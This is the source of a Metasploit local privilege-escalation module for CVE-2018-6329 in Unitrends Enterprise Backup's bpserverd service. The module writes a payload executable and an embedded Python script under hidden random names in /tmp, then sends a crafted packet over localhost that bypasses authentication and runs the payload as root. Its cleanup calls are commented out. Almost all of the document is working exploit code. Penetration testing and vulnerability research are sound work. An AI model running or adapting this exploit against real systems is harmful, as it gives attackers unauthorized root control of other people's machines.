1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info, {
'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
'Description' => %q{
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
has an issue in which its authentication can be bypassed. A remote attacker could use this
issue to execute arbitrary commands with root privilege on the target system.
This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
localhost by dropping a python script on the local file system. Unitrends stopped
bpserverd from listening remotely on version 10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave', # @iotennui
'h00die' # msf adaptations
],
'DisclosureDate' => 'Mar 14 2018',
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
['EDB', '44297'],
['CVE', '2018-6329']
],
'Targets' =>
[
[ 'UEB <= 10.0', { } ]
],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultTarget' => 0
}
))
register_advanced_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
])
end
def exploit
pl = generate_payload_exe
exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
print_status("Writing payload executable to '#{exe_path}'")
write_file(exe_path, pl)
#register_file_for_cleanup(exe_path)
pe_script = %Q{
import socket
import binascii
import struct
import time
import sys
RHOST = '127.0.0.1'
XINETDPORT = #{datastore['BPSERVERDPORT']}
cmd = "#{exe_path}"
def recv_timeout(the_socket,timeout=2):
the_socket.setblocking(0)
total_data=[];data='';begin=time.time()
while 1:
#if you got some data, then break after wait sec
if total_data and time.time()-begin>timeout:
break
#if you got no data at all, wait a little longer
elif time.time()-begin>timeout*2:
break
try:
data=the_socket.recv(8192)
if data:
total_data.append(data)
begin=time.time()
else:
time.sleep(0.1)
except:
pass
return ''.join(total_data)
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
try:
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((RHOST,XINETDPORT))
except:
print "[!] Failed to connect!"
exit()
data = s1.recv(4096)
bpd_port = int(data[-8:-3])
try:
pass
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((RHOST, bpd_port))
except:
print "[!] Failed to connect!"
s1.close()
exit()
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
print "[+] '{0}'".format(cmd)
cmd_len = chr(len(cmd) + 3)
packet_len = chr(len(cmd) + 23)
#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
packet = '\\xa5\\x52\\x00\\x2d'
packet += '\\x00' * 3
packet += packet_len
packet += '\\x00' * 3
packet += '\\x01'
packet += '\\x00' * 3
packet += '\\x4c'
packet += '\\x00' * 3
packet += cmd_len
packet += cmd
packet += '\\x00' * 3
s1.send(packet)
data = recv_timeout(s2)
print data
s1.close()
}
pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
print_status("Writing privesc script to '#{pes_path}'")
write_file(pes_path, pe_script)
#register_file_for_cleanup(pes_path)
print_status("Fixing permissions")
cmd_exec("chmod +x #{exe_path} #{pes_path}")
vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
end
end
|